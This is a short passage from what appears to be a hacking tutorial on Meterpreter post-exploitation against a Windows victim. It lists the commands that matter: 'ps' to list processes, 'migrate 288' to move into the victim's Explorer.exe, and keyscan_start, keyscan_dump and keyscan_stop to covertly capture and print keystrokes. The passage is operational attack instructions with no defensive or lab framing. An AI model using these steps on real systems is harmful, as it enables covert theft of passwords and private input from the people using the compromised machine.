Once you got the meterpreter session use ‘ps‘ command to displays a list of running processes on the target
The next step is we need to migrate Meterpreter to the Explorer.exeprocess. Victim Explorer.exe process ID is 288. Now type migrate 288 now we can start the keylogger
Keyscan_start – to start the keylogger
Keyscan_dump – to print captured keystrokes
Keyscan_stop – to stop the keylogger
